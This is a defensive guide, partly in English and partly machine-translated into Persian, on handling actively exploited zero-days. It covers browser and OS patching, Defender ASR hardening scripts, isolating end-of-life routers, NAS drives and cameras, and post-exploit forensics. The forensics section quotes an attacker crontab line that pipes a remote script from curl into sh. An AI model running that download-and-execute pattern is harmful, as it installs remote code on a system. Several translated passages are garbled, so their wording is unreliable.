Skip to content

هشدارهای آسیب‌پذیری روز صفر، وصله‌های اضطراری و جداسازی شبکه

شماره های اضطراری بر اساس کشور متفاوت است. این صفحه از 911 استفاده می‌کند که شماره مربوط به ایالات متحده و کانادا است. بسیاری از کشورهای دیگر از 112، 999 یا شماره دیگری استفاده می کنند. شماره کشور خود را پیدا کنید.

Waking up to an urgent cybersecurity advisory from the US Cybersecurity and Infrastructure Security Agency (CISA، مرکز امنیت سایبری ملی انگلستان (NCSC), Apple, Google, or Microsoft warning that a critical Zero-Day Vulnerability (0-Day) is being actively exploited in the wild (KEV) against your iPhone, Android phone, Windows PC, Mac, Chrome browser, home/office VPN firewall, or Network Attached Storage (NAS) drive, or discovering that your home Wi-Fi router, security camera NVR, or older computer has reached End-of-Life (EoL / End-of-Support) and will never receive a patch for a newly disclosed remote code execution flaw, requires immediate triage. Unlike routine monthly software updates, an actively exploited zero-day means threat actors already possess a working weaponized exploit (such as a zero-click iMessage/WhatsApp image parser exploit, a malicious WebP/font rendering browser exploit, or an unauthenticated WAN port command-injection exploit against routers and NAS appliances) before defenders have deployed the fix. Once a zero-day proof-of-concept (PoC) is published or added to the CISA Known Exploited Vulnerabilities (KEV) Catalog, automated botnets (Mirai، Volt Typhoon, ransomware affiliates) scan the entire IPv4 internet within 15 to 45 minutes to hijack every unpatched device exposed to the open web.

If a zero-day exploit has disrupted life-safety equipment, hospital clinical systems, or public utility infrastructure, or involves physical extortion threats, call your local emergency number (911 در ایالات متحده و کانادا، 112 در سراسر اتحادیه اروپا، 999 در بریتانیا) یا با دایرکتوری بین المللی ما مشورت کنید شماره های اضطراری immediately. For all consumer, home-office, and small-business zero-day alerts and End-of-Life (EoL) hardware emergencies, execute the rapid patching, temporary mitigation, and network isolation workflow below.

همین الان این کار را بکن

  1. Apply emergency Out-of-Band (OOB) patches AND complete the full reboot / browser relaunch immediately: Downloading an emergency update is useless until the vulnerable code in RAM is unloaded. On Chrome, Edge, Brave, and Firefox, a patched zero-day remains exploitable in memory until you click the top-right "Relaunch to Update" button (chrome://settings/help). On iOS, macOS, Windows, and Android, trigger the update manually and reboot the device completely (which also purges non-persistent memory-resident spyware).
  2. If a zero-day has NO patch available yet ("Unpatched 0-Day"), apply the vendor's Temporary Workaround or Attack Surface Reduction (ASR) rule today: When a vulnerability is disclosed before a patch is compiled, CISA and the vendor publish a temporary mitigation (such as disabling UPnP and WAN Remote Management on a router, turning on Apple Lockdown Mode on iOS/macOS, disabling JavaScript JIT in Edge/Chrome, or blocking a specific TCP/UDP port at the firewall).
  3. Audit your public IP address on Shodan.io یا GRC ShieldsUP right now and close all exposed WAN ports (Port Forwarding / UPnP / DMZ): Ninety percent of devastating home and small-business zero-day compromises hit devices that are directly reachable from the public internet (QNAP / Synology NAS drives, ASUS / Netgear / TP-Link router admin pages, Plex، RDP Port 3389، یا VPN appliances). Log into your router and disable Remote WAN Administration, UPnP (Universal Plug and Play), and DMZ Host immediately following our securing home routers and IoT devices guide.
  4. Reboot your mobile phone and router immediately if you suspect zero-click spyware or botnet infection: Sophisticated zero-day exploits against smartphones (Pegasus، Predator، Triangulation) and SOHO routers (VPNFilter، KV Botnet) often run purely inside volatile RAM to avoid detection on disk. Powering the device completely off, waiting 60 seconds, and powering it back on forces the attacker to re-exploit the device (which fails once the emergency patch or Lockdown Mode is active).
  5. Assume that patching a zero-day does NOT kick out an attacker who already breached your device before you patched: A software patch closes the open window, but it does not remove backdoors, web shells, rogue admin accounts, or stolen session cookies created if an attacker exploited your system yesterday. If your router, NAS, VPN, or server was exposed to the internet while an unauthenticated CVSS 9.8+ zero-day was active in the wild, check logs for Indicators of Compromise (IoCs), rotate all credentials, and factory-reset or rebuild if compromised.
  6. Isolate any End-of-Life (EoL) device that can no longer receive security patches onto a strict Guest / IoT VLAN with WAN Internet Access blocked: Never leave an End-of-Life Windows ⅞/10 PC, unsupported old Mac, obsolete Android/iPhone, or discontinued Wi-Fi router connected directly to your main LAN or the open internet. If an EoL router is your main internet gateway, unplug and replace it immediately.

Danger

Beware of fake "Emergency Zero-Day Security Patch" popups and emails. Whenever a high-profile Chrome, Windows, Apple, or router zero-day hits the news, cybercriminals immediately launch malvertising campaigns displaying full-screen browser banners reading "CRITICAL CHROME ZERO-DAY UPDATE REQUIRED: CLICK HERE TO DOWNLOAD PATCH.EXE / UPDATE.DMG." Google Chrome, Microsoft Edge, Mozilla Firefox, Apple iOS/macOS, and Microsoft Windows NEVER distribute security updates via downloadable .exe، .msi، .zip، یا .dmg links inside webpage popups or emails. Always trigger updates strictly from inside the operating system's native Settings menu or the browser's built-in About screen (chrome://settings/help).

Decision tree: emergency triage for active zero-day alerts and End-of-Life (EoL) hardware

Follow this structured decision tree whenever an urgent zero-day vulnerability advisory or End-of-Life notice affects your software or hardware:

flowchart TD
    Alert["Urgent Zero-Day (0-Day) or CISA KEV Alert Announced for Your OS, Browser, Router, or NAS"] --> PatchCheck{"1. Has the Vendor Released an Emergency Security Patch?"}
    PatchCheck -->|"Yes: Patch Available"| Exposure{"2. Was Your Device Directly Exposed to the Internet (WAN Port Open) Before Patching?"}
    Exposure -->|"No: Client Device Behind NAT (Phone, Laptop, Browser)"| Apply["Install Update via Native Settings + Full Reboot / Browser Relaunch Immediately"]
    Exposure -->|"Yes: Public-Facing Router, NAS, VPN, or Server"| Forensic["CRITICAL: Patching Alone Does Not Evict Attackers. Inspect Logs for Web Shells / Rogue Admins, Patch, Rotate Keys, or Factory Reset"]
    PatchCheck -->|"No: Unpatched 0-Day OR Device Is End-of-Life (EoL)"| EoLCheck{"3. Is the Device Permanently End-of-Life (EoL) or Waiting for a Vendor Patch?"}
    EoLCheck -->|"Waiting for Vendor Patch (Temporary 0-Day Window)"| Mitigate["Apply Emergency Workaround: Close WAN Ports, Enable Apple Lockdown Mode / Windows ASR, or Disable Vulnerable Service"]
    EoLCheck -->|"Permanently End-of-Life (No Patch Will Ever Come)"| Role{"4. What Role Does the EoL Device Play?"}
    Role -->|"Edge Router / Firewall / Modem"| Replace["UNPLUG & REPLACE IMMEDIATELY (Or Flash Supported OpenWrt Firmware if Hardware Compatible)"]
    Role -->|"رایانه قدیمی، تلفن قدیمی، چاپگر، دوربین یا NAS"| Isolate["Air-Gap یا انتقال به IoT VLAN ایزوله + مسدود کردن دسترسی به اینترنت در فایروال روتر"]

خواندن یک توصیه روز صفر مانند یک مهندس امنیت (رمزگشایی CVE، CVSS، CISA KEV، و EPSS)

Not every software vulnerability reported in the media requires dropping everything at 2:00 AM. Understanding the five technical indicators inside an official CISA، NIST NVD، یا بولتن امنیتی فروشنده در عرض 30 ثانیه به شما می گوید که آیا با یک باگ آزمایشگاهی نظری یا آتش سوزی خانه پنج زنگ هشدار مواجه هستید:

متریک آسیب پذیری What It Means Low / Routine Priority FIVE-ALARM EMERGENCY (Drop Everything & Act Now)
1. Exploitation Status (In the Wild / CISA KEV) Whether real-world hackers or spyware vendors are actively using this bug against victims right now, vs. a researcher finding it privately. "No known public exploitation" or "Proof of concept only in lab settings." Listed in the CISA Known Exploited Vulnerabilities (KEV) Catalog (cisa.gov/known-exploited-vulnerabilities-catalog) or labeled by Apple/Google/Microsoft as "Actively exploited in the wild."
2. Attack Vector (AV:N vs. AV:L) & Authentication (PR:N) How the attacker reaches the bug: over the Network (AV:N) without needing a password (PR:N: Unauthenticated), vs. needing physical hands-on access (AV:P). Local (AV:L) or Physical (AV:P) requiring an attacker who is already logged into your keyboard. Network (AV:N) + Privileges Required: None (PR:N): Anyone on the internet (or any malicious website/ad) can trigger the exploit remotely without a username or password.
3. User Interaction (UI:N Zero-Click vs. UI:R One-Click) Whether the victim has to click a link or open a file (UI:R), or whether the exploit triggers silently with zero human action (UI:N: Zero-Click). Requires the user to download, unzip, and manually run a suspicious file and click through security warnings. Zero-Click (UI:N): Triggered merely by receiving an iMessage/WhatsApp text, loading a webpage in Chrome/Safari, or receiving a network packet on an open router port.
4. Vulnerability Class (RCE، Auth Bypass، Sandbox Escape) What the attacker achieves when the exploit succeeds. Information Disclosure (Info Leak) or local Denial of Service (DoS crash). Remote Code Execution (RCE), Authentication Bypass, or Privilege Escalation / Kernel Sandbox Escape (often chained with a browser RCE to take over the full OS).
5. CVSS v3.1 / v4.0 Base Score & EPSS Probability Numerical severity (0.0 به 10.0) plus the Exploit Prediction Scoring System (EPSS) 30-day probability of wild exploitation. CVSS 4.0 to 6.9 (Medium) with EPSS < 1%. CVSS 8.8 to 10.0 (Critical) OR any CVSS 7.0+ vulnerability that is already marked Actively Exploited / CISA KEV.

Phase 1: Emergency zero-day patching and verification across all major platforms

When an active zero-day hits your operating system or web browser, do not wait for automatic overnight maintenance windows (which often delay installation for 3 to 14 days). Force the pull and verify the build number manually:

1. Web Browsers (Google Chrome, Microsoft Edge, Brave, Firefox, Safari): The #1 Zero-Day Target

Because web browsers parse untrusted JavaScript (V8 / SpiderMonkey / JavaScriptCore JIT compilers), WebRTC video streams, WebGL graphics, and image formats (WebP، libvpx، FreeType) from every site and ad you visit, browser zero-days account for the majority of consumer zero-day alerts. 1. Google Chrome: Type chrome://settings/help in the address bar. Chrome will immediately check Google's update servers and download the patch. You must click the blue "Relaunch" button that appears, and if you have hidden background Chrome processes running in your system tray, close them all or reboot your computer so the old vulnerable chrome.exe binary is completely unloaded from RAM. 2. Microsoft Edge: Type edge://settings/help, wait for the download to hit 100%, and click Restart. 3. Brave Browser: Type brave://settings/help and click Relaunch. 4. Mozilla Firefox: Click the Menu button -> Help -> About Firefox (or type about:preferences#general -> scroll to Firefox Updates) and click Restart to update Firefox. 5. Apple Safari: Safari updates are bundled directly inside iOS, iPadOS, and macOS System Updates (plus standalone Safari updates under System Settings -> General -> Software Update for macOS Sonoma/Ventura).

2. Smartphones and Tablets (Apple iOS / iPadOS and Google Android)

روز صفر موبایل (مخصوصاً iMessage، FaceTime، WebKit، مودم بیس باند و نقص‌های پردازشگر گرافیکی سیستم اندروید/کوالکام) به‌شدت توسط نرم‌افزارهای جاسوسی تجاری استفاده می‌شود.Pegasus، Predator) و بازیگران تهدید را هدف قرار داده اند. - ** اپل آیفون و آیپد (iOS / iPadOS)**: 1. Open Settings -> General -> Software Update. 2. Turn ON Automatic Updates -> Security Responses & System Files (so Apple Rapid Security Responses / Background Security Improvements apply automatically between major iOS releases). 3. Install the pending iOS update immediately, which includes a full kernel reboot. - Android Smartphones (Google Pixel, Samsung Galaxy, etc.): 1. Android actually has two separate security update channels that you must check independently: - Channel A (OS Security Patch Level): Open Settings -> Security & privacy -> System & updates -> Security update (and inspect the date: it should be within the last 30 to 60 days). - Channel B (Google Play System Update / Project Mainline): Open Settings -> Security & privacy -> System & updates -> Google Play system update. Many critical zero-days in Android's media codecs, Wi-Fi stack, and runtime are patched via Google Play System Updates without waiting for your carrier's monthly firmware update. Tap Check for update, install, and Restart now.

3. Desktop Operating Systems (Windows 10/11, macOS, and Linux)

  • Windows 10 & Windows 11:
  • Open Settings (Win + I) -> Windows Update -> Check for updates.
  • Also check Windows Security -> Virus & threat protection -> Protection updates -> Check for updates (Microsoft frequently ships emergency zero-day detections and vulnerability virtual-patches inside daily Microsoft Defender Security Intelligence definition updates hours before a full Windows cumulative patch is ready).
  • Apple macOS:
  • Open Apple Menu -> System Settings -> General -> Software Update. Ensure "Install Security Responses and system files" is toggled ON under the info (i) button.
  • Linux (Ubuntu / Debian و RHEL / Fedora):
  • Run an immediate security repository refresh and check whether a kernel or shared-library (glibc، openssl، openssh، xz، cups) restart is required:
# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

Phase 2: Emergency workarounds when NO patch exists yet (Surviving an "Unpatched Zero-Day" window)

What do you do when CISA، Microsoft، Apple, or a security firm announces that a critical vulnerability is being actively exploited right now, but the vendor says the official patch won't be ready for another 3 to 10 days? You must immediately apply Compensating Controls and Attack Surface Reduction (ASR) to break the exploit chain before it can execute:

Target Platform Under Unpatched Zero-Day Immediate Zero-Day Lockdown / Workaround Action How It Breaks the Exploit Chain
Apple iPhone, iPad, or Mac (iOS / macOS Zero-Click Spyware Alert) Enable Apple "Lockdown Mode": Go to Settings -> Privacy & Security -> Lockdown Mode -> Turn On Lockdown Mode (and reboot). Blocks most message attachment types in iMessage, disables complex font rendering and JIT JavaScript compilation in Safari, blocks incoming FaceTime calls from unknown contacts, and disables wired data connections while locked.
Google Chrome or Microsoft Edge (V8 JavaScript / WebAssembly Zero-Day) 1. Microsoft Edge: Enable Enhanced Security Mode (Strict) at edge://settings/privacy -> Enhance your security on the web -> Strict.
2. Chrome: Disable V8 JIT optimization at chrome://settings/content/v8 -> Select "Don't allow sites to use the V8 optimizer".		 Over 60 percent of browser zero-days exploit bugs in the Just-In-Time (JIT) کامپایلر جاوا اسکریپت. خاموش شدن V8 بهینه سازی JIT یا فعال کردن Edge Strict Mode همه چیز را حذف می کند JIT سطح حمله با حداقل کاهش سرعت مرور.
ویندوز 10/11 (Office، PDF، WinRAR/7-Zip، Print Spooler، یا NTLM/SMB روز صفر) PowerShell را به عنوان Administrator باز کنید و Microsoft Defender Attack Surface Reduction را فعال کنید (ASR) قوانین + نمایش محافظت شده یا توقف سرویس آسیب پذیر ویندوز (Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled). Blocks Office macros/child processes, blocks credential stealing from lsass.exe، فایل های اجرایی بدون امضای نامعتبر را که از USB یا بایگانی های ایمیل اجرا می شوند مسدود می کند و سرویس های آسیب پذیر RPC را خاموش می کند.
** خانه / روتر Wi-Fi SMB، فایروال، VPN یا NAS (ASUS، Netgear، TP-Link، Synology، QNAP، Fortinet، Ivanti)** 1. Disable WAN Remote Administration / Cloud Access immediately.
2. UPnP (Plug and Play جهانی) را غیرفعال کنید.
3. Delete all Port Forwarding rules (80, 443, 8080, 8443, 5000, 5001, 22, 3389).
4. If the WAN stack itself has an unauthenticated bug, unplug the device from the modem until patched firmware is released.		 External botnets cannot exploit a router admin portal or NAS drive if the device drops all unsolicited incoming SYN بسته ها در رابط فایروال WAN.

اسکریپت کپی و چسباندن: سخت شدن اضطراری Windows PowerShell روز صفر (ASR Rules)

If an unpatched Windows, Office, or PDF zero-day is circulating in the wild and you are running Windows 10/11 Pro/Enterprise (or using Defender on Windows Home via registry/PowerShell), run these commands in PowerShell (Run as Administrator) to activate Microsoft Defender's core Attack Surface Reduction (ASR) rules in Block mode (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

Phase 3: What to do when your device hits End-of-Life (EoL / End-of-Support)

Every piece of hardware and software eventually reaches End-of-Life (EoL) or End-of-Support (EoS), the date after which the manufacturer permanently stops releasing security patches, even when catastrophic CVSS 10.0 zero-day vulnerabilities are discovered. - Why End-of-Life is an active emergency: Attackers use automated "Binary Diffing" (BinDiff / Ghidra) on patches released for supported models (for example, Windows 11 or a new 2025 TP-Link router) to reverse-engineer the exact vulnerability, and then immediately fire that exploit against End-of-Life models (such as Windows ⅞/unsubscribed Windows 10, older macOS releases, or 5-year-old routers) that share the same legacy code but will never get the patch ("Forever-Day Exploits").

The 4-Tier End-of-Life (EoL) Hardware Isolation & Replacement Protocol

Use this decision matrix to handle every End-of-Life device in your home or office without risking a network-wide breach:

Category of End-of-Life (EoL) Device Risk Level if Left Connected to Internet Mandatory Emergency Action Safe Workaround If You Cannot Replace Hardware Today
1. End-of-Life Wi-Fi Router, Cable Modem/Gateway, or Firewall EXTREME (Critical Emergency): Your router sits directly on the public IPv4 internet with zero firewall in front of it. Compromised EoL routers are enslaved into nation-state botnets (Volt Typhoon، Raptor Train) and can intercept all traffic on your LAN. فوراً برق را جدا کرده و تعویض کنید. هرگز از روتر پایان عمر به عنوان دروازه اینترنت خود استفاده نکنید. اگر مدل سخت افزار روتر خاص شما توسط منبع باز OpenWrt (openwrt.org/toh/start)، DD-WRT، یا FreshTomato، می توانید سیستم عامل منبع باز لینوکس فعلی را فلش کنید تا وصله امنیتی فعال را به صورت رایگان بازیابی کنید.
2. تلفن هوشمند یا تبلت پایان عمر (آیفون / آی پد یا تلفن اندروید قدیمی دریافت پچ های امنیتی را متوقف کرد) بالا: در برابر سوء استفاده های مرورگر WebKit/Blink، اشکالات نزدیکی بلوتوث/Wi-Fi و برنامه های مخرب آسیب پذیر است. اگر برای بانکداری تلفن همراه، ایمیل یا کدهای احراز هویت 2FA استفاده شود، خطرناک است. استفاده از تلفن EoL را برای امور بانکی، ایمیل، مدیریت گذرواژه یا 2FA متوقف کنید. حساب‌ها را به دستگاه پشتیبانی‌شده منتقل کنید و تلفن قدیمی را به حالت کارخانه بازنشانی کنید. اگر از تلفن Android EoL صرفاً به‌عنوان پخش‌کننده رسانه Wi-Fi ثانویه استفاده می‌کنید، یک مرورگر به‌روزرسانی فعال (Firefox یا Brave، اگر نسخه سیستم عامل همچنان اجازه می‌دهد) نصب کنید یا LineageOS / GrapheneOS (در سخت‌افزار Pixel/Android پشتیبانی‌شده) را فلش کنید و فقط به Wi-Fi مهمان خود متصل شوید.
3. رومیزی یا لپ تاپ پایان عمر (Windows 7 / 8 / 10 EoSیا اینتل/مک قدیمی‌تر توسط اپل حذف شد) بالا: آسیب پذیری های کرنل، SMB و مرورگر اصلاح نشده به باج افزارها یا دزدهای اطلاعاتی اجازه می دهند از رایانه قدیمی به هر رایانه و NAS دیگری در شبکه خانگی شما منتقل شوند. ** سیستم عامل را ارتقا دهید یا جایگزین کنید** (در سیستم عامل بدون اصلاح، وب را مرور نکنید یا ایمیل را بررسی نکنید). 1. PC قدیمی ویندوز : ثبت نام در به‌روزرسانی‌های امنیتی پیشرفته مایکروسافت (ESU(Linux Mint، Ubuntu LTS، یا ChromeOS Flex) که یک کامپیوتر 10 ساله را در 20 دقیقه به یک دستگاه کاملاً وصله شده و ایمن تبدیل می کند.
2. وابستگی به نرم‌افزار قدیمی: اگر برای اجرای یک دستگاه CNC قدیمی، دستگاه پزشکی یا سخت‌افزار صوتی باید یک سیستم قدیمی Windows XP/7/10 را نگه دارید، کابل اترنت آن را جدا کرده و Wi-Fi (کامل هوای شکاف) را خاموش کنید یا آن را در داخل یک ماشین مجازی قفل کنید (VM) با آداپتور شبکه مجازی غیرفعال است.
4. درایو NAS پایان عمر، چاپگر شبکه، دوربین IP، تلویزیون هوشمند، یا دستگاه اینترنت اشیا بالا به EXTREME: درایوهای NAS وصله نشده (QNAP، Synology، WD My Cloud) و دوربین های IP (Hikvision، Dahua، Amcrest) اهداف اصلی هستند DeadBolt باج افزار و بات نت 1. دستگاه را از LAN اصلی خود به یک IoT / VLAN مهمان جدا شده منتقل کنید.
2. دسترسی به اینترنت WAN را برای آدرس MAC آن دستگاه در فایروال روتر خود مسدود کنید.		 هرگز EoL NAS یا دوربین را از طریق ارسال پورت یا رله ابری سازنده در معرض اینترنت قرار ندهید. اگر زمانی که خارج از خانه هستید به یک EoL NAS یا دوربین نیاز دارید، دسترسی به اینترنت آن را غیرفعال کنید و از طریق WireGuard یا Tailscale VPN که روی دستگاه پشتیبانی شده در شبکه شما اجرا می شود، به آن دسترسی داشته باشید.

چگونه یک پایان زندگی را قفل کنیم (EoL) چاپگر، دوربین یا NAS در داخل یک زندان محلی بدون اینترنت در روتر شما

اگر یک چاپگر شبکه قدیمی، تلویزیون هوشمند، دوربین امنیتی IP یا درایو NAS قدیمی دارید که هنوز به صورت محلی در شبکه خانگی شما خوب کار می کند (LAN) اما به پایان عمر رسیده است و هرگز وصله امنیتی دیگری دریافت نخواهید کرد.WAN): 1. وارد کنسول مدیریتی روتر Wi-Fi اصلی خود شوید. 2. به تنظیمات LAN / DHCP Server -> Static DHCP Lease (رزرو آدرس) بروید و دستگاه EoL را اختصاص دهید MAC Address یک آدرس IP محلی ثابت دائمی (به عنوان مثال، 192.168.1.240). 3. در تنظیمات روتر خود به ** فایروال / کنترل های والدین / کنترل دسترسی / قوانین ترافیک ** بروید: - ایجاد یک قانون برای 192.168.1.240 (یا آن MAC Address) روی مسدود کردن همه دسترسی به اینترنت (WAN) (Outbound & Inbound WAN = DROP/REJECT). - یا در داخل تنظیمات شبکه دستی خود دستگاه EoL، IP Static آن را روی آن تنظیم کنید 192.168.1.240، ماسک زیر شبکه به 255.255.255.0، و ** را ترک کنید Default Gateway و DNS Server فیلدها کاملاً خالی هستند (یا Default Gateway را روی یک IP غیر موجود تنظیم کنید 192.168.1.254)**. بدون درگاه پیش‌فرض معتبر، چاپگر یا دوربین EoL همچنان می‌تواند از رایانه‌های محلی شما چاپ کند یا به آن‌ها پخش شود. 192.168.1.x زیر شبکه، **اما از نظر فیزیکی قادر به مسیریابی بسته ها به اینترنت یا دسترسی از طریق اینترنت نیست.

فاز 4: پزشکی قانونی پس از بهره برداری اگر دستگاه شما قبل از وصله در معرض دید قرار گرفته باشد

وقتی یک CVSS 9.8+ روز صفر بدون احراز هویت روی دستگاهی که با اینترنت روبرو است (مانند روتر خانگی یا تجاری کوچک، دروازه VPN، QNAP / Synology NAS، Plex سرور رسانه یا دسکتاپ با پورت فوروارد شده)، با اعمال به‌روزرسانی میان‌افزار فروشنده، فقط درب ورودی را می‌بندد. اگر یک اسکنر خودکار به آدرس IP عمومی شما قبل از وصله وارد شود، مهاجم ممکن است قبلاً یک درب پشتی دائمی ایجاد کرده باشد که از راه‌اندازی مجدد استاندارد جان سالم به در می‌برد. این ممیزی 4 مرحله ای پس از وصله پزشکی قانونی را اجرا کنید:

  1. حساب‌های غیرمجاز مدیر و کلیدهای SSH را بررسی کنید:
  2. صفحه مدیریت کاربران/مدیران را در NAS، روتر یا رایانه خود باز کنید و بررسی کنید که حساب های مدیریت ناآشنا (مانند support، admin2، backup، یا system) در طول پنجره روز صفر ایجاد شدند.
  3. در سیستم‌های Linux/macOS/NAS، بازرسی کنید -/.ssh/authorized_keys و /root/.ssh/authorized_keys برای بررسی اینکه هیچ کلید عمومی SSH ضمیمه نشده است.
  4. ** حسابرسی اتصالات شبکه خروجی فعال (netstat / مانیتور ترافیک روتر) و تنظیمات DNS**:
  5. روترهای SOHO و دستگاه‌های NAS در معرض خطر اغلب سرورهای WAN DNS اولیه و ثانویه آنها ربوده می‌شوند تا به یک آدرس IP سرکش اشاره کنند یا یک اتصال پوسته / بات‌نت معکوس دائمی داشته باشند (SOCKS5 پروکسی یا Tor رله).
  6. وارد WAN / تنظیمات اینترنت روتر خود شوید و تأیید کنید که DNS روی ISP پیش‌فرض شما یا یک حل‌کننده عمومی تأیید شده تنظیم شده است (1.1.1.1، 8.8.8.8، یا 9.9.9.9).
  7. بررسی کنید cron Jobs، اسکریپت های راه اندازی، و دایرکتوری های ریشه وب برای Web Shells:
  8. اکسپلویت های روز صفر در برابر دستگاه های تحت مدیریت وب تقریباً همیشه اندکی را کاهش می دهند .php، .jsp، .aspx، یا .cgi پوسته وب به فهرست راهنمای وب سرور دستگاه یا تزریق مداوم crontab خط دانلود و اجرا (curl http://.../bot.sh | sh).
  9. اگر روتر یا NAS شما مصرف بالای CPU غیرقابل توضیح، جهش های عجیب ترافیک خروجی، یا باینری های تغییر یافته سیستم را پس از یک هشدار روز صفر نشان می دهد، به تنهایی به به روز رسانی میان افزار در محل اعتماد نکنید: از فایل های داده های کاربر خالص خود نسخه پشتیبان تهیه کنید (فقط عکس ها و اسناد، هرگز نسخه های پشتیبان پیکربندی سیستم ) جدیدترین سیستم عامل وصله‌شده را از یک رایانه تمیز نصب کنید و یک رمز عبور جدید سرپرست و دانه جدید MFA تنظیم کنید.
  10. ** چرخش تمام اعتبارنامه های ذخیره شده در دستگاه آسیب پذیر یا ارسال شده از طریق آن **:
  11. اگر یک دستگاه، روتر یا NAS لبه VPN قبل از وصله در معرض خطر قرار گرفته باشد، هر کلمه عبور متن ساده، اعتبار اشتراک شبکه SMB، کلیدهای API پشتیبان ابری (AWS S3، Backblaze B2، Wasabi)، یا کلیدهای خصوصی SSL/TLS ذخیره شده در آن دستگاه باید فوراً لغو و بازسازی شوند.

سوالات متداول

آیا نصب وصله روز صفر هکرها را حذف می کند اگر دستگاه من قبلاً قبل از به روز رسانی مورد سوء استفاده قرار گرفته باشد؟

خیر. یک وصله امنیتی نرم‌افزاری فقط آسیب‌پذیری کد زیرین را تعمیر می‌کند تا تلاش‌های اکسپلویت آینده با شکست مواجه شوند. مهاجمی را که قبلاً از آسیب‌پذیری قبل از وصله استفاده کرده و یک پوسته وب دائمی، باینری درب پشتی، وظیفه برنامه‌ریزی‌شده یا حساب سرپرست سرکش را نصب کرده است را بیرون نمی‌کند، و همچنین کوکی‌های جلسه یا گذرواژه‌هایی را که قبلاً دزدیده‌اند باطل نمی‌کند. اگر دستگاه شما مستقیماً در معرض اینترنت عمومی (مانند روتر، NAS، دستگاه VPN یا سرور عمومی) قرار گرفت در حالی که یک روز صفر تأیید نشده به طور فعال در طبیعت مورد سوء استفاده قرار می‌گرفت، باید گزارش‌های سیستم را از نظر شاخص‌های سازش (IoC) بررسی کنید، همه رمزهای عبور و کلیدهای SSH/API را بچرخانید، و در صورت نصب مجدد هر گونه کلیدهای SSH/API، سیستم عامل را مجدداً تنظیم کنید. رخ داده است.

چگونه می توانم بررسی کنم که آیا روتر وای فای یا رایانه من به پایان عمر (EoL) رسیده است؟

به برچسب سازنده در پایین روتر خود نگاه کنید (با توجه به شماره مدل دقیق و ویرایش سخت افزار، مانند v1، v2، یا v4) و صفحه وب لیست محصولات پایان عمر/پایان خدمات سازنده (منتشر شده توسط ASUS، Netgear، TP-Link، Linksys، D-Link، و جامعه شناسی) را بررسی کنید. endoflife.date برای سیستم عامل ها، تلفن ها و نرم افزارها. علاوه بر این، وارد صفحه به‌روزرسانی میان‌افزار روتر خود شوید: اگر تاریخ آخرین میان‌افزار موجود بیش از 18 تا 24 ماه است، روتر را عملاً به‌عنوان پایان عمر خود در نظر بگیرید و آن را جایگزین کنید یا میان‌افزار OpenWrt پشتیبانی‌شده را فلش کنید.

آیا می توانم بدون خرید رایانه جدید، یک رایانه شخصی با ویندوز 10 یا مک قدیمی ایمن بسازم؟

بله هنگامی که مایکروسافت به پشتیبانی رایگان امنیتی مصرف کننده برای نسخه ویندوز پایان می دهد یا اپل یک مدل قدیمی اینتل یا مک اولیه را از به روز رسانی macOS حذف می کند، سخت افزار فیزیکی کامپیوتر خوب است. فقط سیستم عامل پایان عمر است. می‌توانید یک رایانه شخصی Windows 10 را در برنامه رسمی به‌روزرسانی‌های امنیتی پیشرفته (ESU) مایکروسافت ثبت‌نام کنید، یا از فایل‌های خود نسخه پشتیبان تهیه کنید و یک سیستم‌عامل لینوکس مدرن، فعال وصله‌شده و رایگان مانند Linux Mint، Ubuntu LTS، Fedora یا Google ChromeOS Flex را از طریق درایو فلش USB نصب کنید، که به لپ‌تاپ موجود شما 5 تا 8 سال دیگر به‌روزرسانی مداوم و صفر-روز امنیتی مرورگر را می‌دهد.

منابع بررسی شد

  • آژانس امنیت سایبری و امنیت زیرساخت (CISA، ایالات متحده): آسیب پذیری های مورد سوء استفاده شناخته شده (KEV) کاتالوگ، دستورالعمل عملیاتی الزام آور BOD 22-01 (کاهش خطر قابل توجه آسیب پذیری های شناخته شده استثمار شده)، و BOD 23-02 (کاهش خطر از رابط های مدیریتی در معرض اینترنت).
  • اداره تحقیقات فدرال (FBI)، آژانس امنیت ملی (NSA، و مرکز امنیت سایبری ملی انگلستان (NCSC): مشاوره امنیت سایبری مشترک برای کاهش سوء استفاده از بات نت از پایان عمر (EoL) روترها، فایروال ها و لوازم خانگی SOHO.
  • موسسه ملی استاندارد و فناوری (NIST, ایالات متحده): SP 800-40 Rev. 4, Guide to Enterprise Patch Management Planning: Preventive Maintenance for Technology.
  • Apple Platform Security & Citizen Lab (دانشگاه تورنتو): معماری حالت قفل در iOS / macOS و دستورالعمل‌های کاهش نرم‌افزار جاسوسی بدون کلیک با پاسخ امنیتی سریع.
  • مرکز پاسخگویی امنیتی مایکروسافت (MSRC): کاهش سطح حمله مایکروسافت دیفندر (ASR) مرجع استقرار برای کاهش روز صفر و خارج از باند (OOB) راهنمای به روز رسانی امنیتی.

راهنماهای مرتبط